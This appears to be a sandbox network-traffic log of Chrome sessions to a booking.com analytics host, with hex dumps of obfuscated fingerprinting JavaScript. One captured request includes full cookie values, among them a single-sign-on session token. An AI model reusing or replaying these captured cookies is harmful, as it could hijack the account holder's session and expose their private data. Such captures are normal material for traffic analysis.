2024-11-02 13:00:27 UTC	447	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Robots-Tag: noindex, nofollow Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:27 UTC	7745	IN	Data Raw: 66 66 66 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 74 69 74 6c 65 3e 65 6d 70 74 79 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 64 5f 34 75 3d 74 64 5f 34 75 7c 7c 7b 7d 3b 74 64 5f 34 75 2e 74 64 5f 35 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 4c 2c 74 64 5f 43 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 45 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 6b 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 4a 3d 30 3b 74 64 5f 4a 3c 74 64 5f 43 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 4a 29 7b 74 64 5f 45 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 4c 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 6b 29 5e 74 64 5f Data Ascii: fff8<html lang="en"><title>empty</title><body><script type="text/javascript">var td_4u=td_4u\|\|{};td_4u.td_5K=function(td_L,td_C){try{var td_E=[""];var td_k=0;for(var td_J=0;td_J<td_C.length;++td_J){td_E.push(String.fromCharCode(td_L.charCodeAt(td_k)^td_
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 6e 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 6d 78 5f 6c 69 6e 6b 5f 73 63 61 6e 28 29 3b 7d 69 66 28 74 79 70 65 6f 66 20 74 64 5f 35 63 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 35 63 28 29 3b 7d 69 66 28 74 79 70 65 6f 66 20 74 64 5f 32 53 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 32 53 2e 73 74 61 72 74 28 29 3b 7d 69 66 28 74 79 70 65 6f 66 20 74 64 5f 30 78 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 30 78 2e 73 74 61 72 74 28 29 3b 0a 7d 69 66 28 74 79 70 65 6f 66 20 74 64 5f 34 6b 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 34 6b 28 29 3b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 64 5f 34 6e 28 29 7b 74 72 79 7b 74 64 5f 34 75 2e 74 64 5f 32 46 28 29 3b 74 64 5f 34 75 2e 74 64 5f 33 78 28 64 6f 63 75 6d 65 6e 74 29 3b Data Ascii: n!==[][[]]+""){tmx_link_scan();}if(typeof td_5c!==[][[]]+""){td_5c();}if(typeof td_2S!==[][[]]+""){td_2S.start();}if(typeof td_0x!==[][[]]+""){td_0x.start();}if(typeof td_4k!==[][[]]+""){td_4k();}}function td_4n(){try{td_4u.td_2F();td_4u.td_3x(document);
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 37 61 65 31 35 31 34 39 63 30 31 34 32 66 34 61 64 31 39 35 35 62 39 34 33 35 64 35 31 66 61 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 37 61 65 31 35 31 34 39 63 30 31 34 32 66 34 61 64 31 39 35 35 62 39 34 33 35 64 35 31 66 61 2e 74 64 5f 66 28 31 35 34 2c 35 29 29 3a 6e 75 6c 6c 29 2c 74 64 5f 34 75 2e 63 73 70 5f 6e 6f 6e 63 65 29 3b 0a 69 66 28 74 64 5f 56 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 37 61 65 31 35 31 34 39 63 30 31 34 32 66 34 61 64 31 39 35 35 62 39 34 33 35 64 35 31 66 61 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 Data Ascii: ined"&&typeof(td_4u.tdz_27ae15149c0142f4ad1955b9435d51fa.td_f)!=="undefined")?(td_4u.tdz_27ae15149c0142f4ad1955b9435d51fa.td_f(154,5)):null),td_4u.csp_nonce);if(td_V.getAttribute(((typeof(td_4u.tdz_27ae15149c0142f4ad1955b9435d51fa)!=="undefined"&&typeof(
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 30 5c 78 33 30 5c 78 33 32 5c 78 33 35 5c 78 36 32 5c 78 33 30 5c 78 33 33 5c 78 33 31 5c 78 33 30 5c 78 33 32 5c 78 33 34 5c 78 33 35 5c 78 36 35 5c 78 33 34 5c 78 33 35 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 36 33 5c 78 33 34 5c 78 33 30 5c 78 33 34 5c 78 33 32 5c 78 33 37 5c 78 33 39 5c 78 33 30 5c 78 33 36 5c 78 33 30 5c 78 36 31 5c 78 33 35 5c 78 33 36 5c 78 33 34 5c 78 33 36 22 29 3b 0a 76 61 72 20 74 64 5f 34 75 3d 74 64 5f 34 75 7c 7c 7b 7d 3b 76 61 72 20 74 64 5f 57 3d 30 3b 76 61 72 20 74 64 5f 6a 3d 31 3b 76 61 72 20 74 64 5f 51 3d 32 3b 76 61 72 20 74 64 5f 65 3d 33 3b 76 61 72 20 74 64 5f 62 3d 34 3b 74 64 5f 34 75 2e 74 64 5f 33 76 3d 74 64 5f 57 3b 76 61 72 20 74 64 5f 33 6e 3d 7b 74 64 5f 32 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 Data Ascii: 0\x30\x32\x35\x62\x30\x33\x31\x30\x32\x34\x35\x65\x34\x35\x30\x33\x35\x63\x34\x30\x34\x32\x37\x39\x30\x36\x30\x61\x35\x36\x34\x36");var td_4u=td_4u\|\|{};var td_W=0;var td_j=1;var td_Q=2;var td_e=3;var td_b=4;td_4u.td_3v=td_W;var td_3n={td_2g:function(){if
2024-11-02 13:00:27 UTC	8637	IN	Data Raw: 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 32 36 31 2c 33 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 Data Ascii: _20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(261,3)):null),identity:((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefi
2024-11-02 13:00:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-02 13:00:27 UTC	8192	IN	Data Raw: 38 62 66 38 0d 0a 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 33 37 33 2c 39 29 29 3a 6e 75 6c 6c 29 2c 72 3a 2f 28 57 69 6e 64 6f 77 73 20 38 7c 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 32 29 2f 7d 2c 7b 73 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e Data Ascii: 8bf8ypeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(373,9)):null),r:/(Windows 8\|Windows NT 6.2)/},{s:((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 2e 74 64 5f 66 28 36 33 36 2c 37 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 72 5b 31 5d 3b 0a 7d 7d 7d 7d 7d 7d 62 72 65 61 6b 3b 63 61 73 65 20 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 32 37 37 2c 37 29 29 3a 6e 75 6c 6c 29 3a 74 64 5f 50 3d 6e 75 Data Ascii: .td_f(636,7)):null)+td_r[1];}}}}}}break;case ((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(277,7)):null):td_P=nu
2024-11-02 13:00:27 UTC	11262	IN	Data Raw: 64 6f 77 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 64 38 62 65 31 37 38 35 34 65 62 39 34 32 66 30 62 32 30 32 62 37 35 66 31 33 39 31 38 64 65 37 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 64 38 62 65 31 37 38 35 34 65 62 39 34 32 66 30 62 32 30 32 62 37 35 66 31 33 39 31 38 64 65 37 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 64 38 62 65 31 37 38 35 34 65 62 39 34 32 66 30 62 32 30 32 62 37 35 66 31 33 39 31 38 64 65 37 2e 74 64 5f 66 28 32 31 2c 36 29 29 3a 6e 75 6c 6c 29 3b 0a 76 61 72 20 74 64 5f 61 69 3d 74 64 5f 46 34 3f 77 69 6e 64 6f 77 3a 7b 7d 3b 69 66 28 74 64 5f 61 69 2e 4a 53 5f 53 48 41 32 35 36 5f 4e 4f Data Ascii: dow===((typeof(td_4u.tdz_d8be17854eb942f0b202b75f13918de7)!=="undefined"&&typeof(td_4u.tdz_d8be17854eb942f0b202b75f13918de7.td_f)!=="undefined")?(td_4u.tdz_d8be17854eb942f0b202b75f13918de7.td_f(21,6)):null);var td_ai=td_F4?window:{};if(td_ai.JS_SHA256_NO
2024-11-02 13:00:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49858	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:26 UTC	1727	OUT	GET /LhN2rTmyLvZ8iwj4?106b3ce28eefbedd=4uL9NP2nFpcAmff3gw9pPyoesz986SnHJN4SLHPzj5PCKepLDULDfG0MT5w30dl6fe2TRqbDH4iDt4tUjEpC71jBpXRYu7p6BXTMTd7AsfDAlX_GD5M6UAolOcRpmWj14Cq0J-2S0DtzvGbT0UbWYXyNByB8OyQ_ps2Y0brxap-H5yK1mkhLcemxeVSjjQ-6drQPZkfDmiKhBfquFj5E HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:27 UTC	447	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:26 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Robots-Tag: noindex, nofollow Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-11-02 13:00:27 UTC	7745	IN	Data Raw: 66 66 66 38 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 74 69 74 6c 65 3e 65 6d 70 74 79 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 64 5f 34 75 3d 74 64 5f 34 75 7c 7c 7b 7d 3b 74 64 5f 34 75 2e 74 64 5f 35 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 4c 2c 74 64 5f 43 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 45 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 6b 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 4a 3d 30 3b 74 64 5f 4a 3c 74 64 5f 43 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 4a 29 7b 74 64 5f 45 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 4c 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 6b 29 5e 74 64 5f Data Ascii: fff8<html lang="en"><title>empty</title><body><script type="text/javascript">var td_4u=td_4u\|\|{};td_4u.td_5K=function(td_L,td_C){try{var td_E=[""];var td_k=0;for(var td_J=0;td_J<td_C.length;++td_J){td_E.push(String.fromCharCode(td_L.charCodeAt(td_k)^td_
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 34 75 7c 7c 7b 7d 3b 69 66 28 74 79 70 65 6f 66 20 74 64 5f 34 75 2e 74 64 5f 34 4f 3d 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 34 75 2e 74 64 5f 34 4f 3d 5b 5d 3b 7d 74 64 5f 34 75 2e 74 64 5f 32 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 64 5f 6e 3d 30 3b 74 64 5f 6e 3c 74 64 5f 34 75 2e 74 64 5f 34 4f 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 6e 29 7b 74 64 5f 34 75 2e 74 64 5f 34 4f 5b 74 64 5f 6e 5d 28 29 3b 7d 7d 3b 74 64 5f 34 75 2e 74 64 5f 32 45 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 42 2c 74 64 5f 4a 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 74 3d 74 64 5f 42 2e 6c 65 6e 67 74 68 2b 22 26 22 2b 74 64 5f 42 3b 0a 76 61 72 20 74 64 5f 63 3d 22 22 3b 76 61 72 20 74 64 5f 68 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 Data Ascii: 4u\|\|{};if(typeof td_4u.td_4O===[][[]]+""){td_4u.td_4O=[];}td_4u.td_2F=function(){for(var td_n=0;td_n<td_4u.td_4O.length;++td_n){td_4u.td_4O[td_n]();}};td_4u.td_2E=function(td_B,td_J){try{var td_t=td_B.length+"&"+td_B;var td_c="";var td_h=((typeof(td_4u.t
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 78 33 36 5c 78 33 37 5c 78 33 34 5c 78 33 32 5c 78 33 36 5c 78 33 38 5c 78 33 32 5c 78 33 38 5c 78 33 30 5c 78 33 34 5c 78 33 35 5c 78 36 32 5c 78 33 31 5c 78 33 35 5c 78 33 37 5c 78 33 39 5c 78 33 36 5c 78 33 37 5c 78 33 36 5c 78 36 35 5c 78 33 30 5c 78 36 36 5c 78 33 35 5c 78 36 36 5c 78 33 35 5c 78 36 33 5c 78 33 35 5c 78 33 38 5c 78 33 31 5c 78 33 36 5c 78 33 31 5c 78 33 32 5c 78 33 34 5c 78 33 35 5c 78 33 36 5c 78 33 30 5c 78 33 30 5c 78 36 33 5c 78 33 35 5c 78 33 39 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 33 34 5c 78 33 31 5c 78 33 35 5c 78 33 35 5c 78 33 33 5c 78 33 31 5c 78 36 31 5c 78 33 35 5c 78 33 36 5c 78 33 36 5c 78 33 37 5c 78 33 30 5c 78 36 32 5c 78 33 35 5c 78 36 33 5c 78 33 35 5c 78 33 34 5c 78 33 30 5c 78 33 39 5c 78 33 34 5c 78 33 35 Data Ascii: x36\x37\x34\x32\x36\x38\x32\x38\x30\x34\x35\x62\x31\x35\x37\x39\x36\x37\x36\x65\x30\x66\x35\x66\x35\x63\x35\x38\x31\x36\x31\x32\x34\x35\x36\x30\x30\x63\x35\x39\x30\x64\x35\x34\x31\x35\x35\x33\x31\x61\x35\x36\x36\x37\x30\x62\x35\x63\x35\x34\x30\x39\x34\x35
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 32 31 34 2c 38 29 29 3a 6e 75 6c 6c 29 2c 76 65 72 73 69 6f 6e 53 65 61 72 63 68 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 Data Ascii: ull),identity:((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="undefined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(214,8)):null),versionSearch:((typeof(td_4u.tdz_20f24b
2024-11-02 13:00:27 UTC	8637	IN	Data Raw: 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 36 31 31 2c 37 29 29 3a 6e 75 6c 6c 29 3b 0a 74 68 69 73 2e 74 64 5f 31 68 3d 74 68 69 73 2e 74 64 5f 7a 28 74 68 69 73 2e 74 64 5f 30 6f 2c 74 64 5f 79 29 7c 7c 74 68 69 73 2e 74 64 5f 7a 28 74 68 69 73 2e 74 64 5f 30 6f 2c 74 64 5f 5a 29 7c 7c 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 29 21 3d 3d 22 75 Data Ascii: 4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(611,7)):null);this.td_1h=this.td_z(this.td_0o,td_y)\|\|this.td_z(this.td_0o,td_Z)\|\|((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f)!=="u
2024-11-02 13:00:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-02 13:00:27 UTC	8192	IN	Data Raw: 38 32 65 35 0d 0a 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 31 36 37 2c 36 29 29 3a 6e 75 6c 6c 29 3b 0a 7d 63 68 65 63 6b 3d 0a 2f 2a 40 63 63 5f 6f 6e 21 40 2a 2f 0a 66 61 6c 73 65 7c 7c 28 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 3b 69 66 28 63 68 65 63 6b 29 7b 72 65 74 75 72 6e 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 Data Ascii: 82e5defined")?(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b.td_f(167,6)):null);}check=/@cc_on!@/false\|\|(typeof document.documentMode!==[][[]]+"");if(check){return((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undefined"&&typeof(td_4u.tdz_20f
2024-11-02 13:00:27 UTC	16384	IN	Data Raw: 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 2e 74 64 5f 66 28 32 37 37 2c 37 29 29 3a 6e 75 6c 6c 29 29 7b 69 66 28 74 64 5f 66 28 74 64 5f 4f 29 26 26 74 64 5f 66 28 74 64 5f 4f 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 29 26 26 74 64 5f 66 28 74 64 5f 4f 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 2e 73 70 6c 69 74 29 29 7b 76 61 72 20 74 64 5f 5a 3d 70 61 72 73 65 49 6e 74 28 74 64 5f 4f 2e 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 29 3b 0a 69 66 28 74 64 5f 5a 3e 30 29 7b 74 64 5f 33 6e 2e 74 64 5f 41 28 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 32 30 66 32 34 62 30 65 65 38 35 36 34 39 66 31 38 37 61 61 65 30 64 36 63 31 35 65 34 66 30 62 29 21 3d 3d 22 75 6e 64 65 66 Data Ascii: 9f187aae0d6c15e4f0b.td_f(277,7)):null)){if(td_f(td_O)&&td_f(td_O.platformVersion)&&td_f(td_O.platformVersion.split)){var td_Z=parseInt(td_O.platformVersion.split(".")[0]);if(td_Z>0){td_3n.td_A(((typeof(td_4u.tdz_20f24b0ee85649f187aae0d6c15e4f0b)!=="undef
2024-11-02 13:00:27 UTC	8939	IN	Data Raw: 69 6f 6e 28 29 7b 69 66 28 21 74 64 5f 64 26 26 28 21 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 7c 7c 74 68 69 73 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 39 61 33 61 64 39 32 30 35 32 32 38 34 66 35 36 39 30 30 36 34 65 32 32 38 62 32 38 39 35 38 31 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 39 61 33 61 64 39 32 30 35 32 32 38 34 66 35 36 39 30 30 36 34 65 32 32 38 62 32 38 39 35 38 31 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 39 61 33 61 64 39 32 30 35 32 32 38 34 66 35 36 39 30 30 36 34 65 32 32 38 62 32 38 39 35 38 31 2e 74 64 5f 66 28 33 33 2c 36 29 29 3a 6e 75 6c 6c 29 7c 7c Data Ascii: ion(){if(!td_d&&(!this.readyState\|\|this.readyState===((typeof(td_4u.tdz_9a3ad92052284f5690064e228b289581)!=="undefined"&&typeof(td_4u.tdz_9a3ad92052284f5690064e228b289581.td_f)!=="undefined")?(td_4u.tdz_9a3ad92052284f5690064e228b289581.td_f(33,6)):null)\|\|
2024-11-02 13:00:27 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49859	91.235.132.130	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
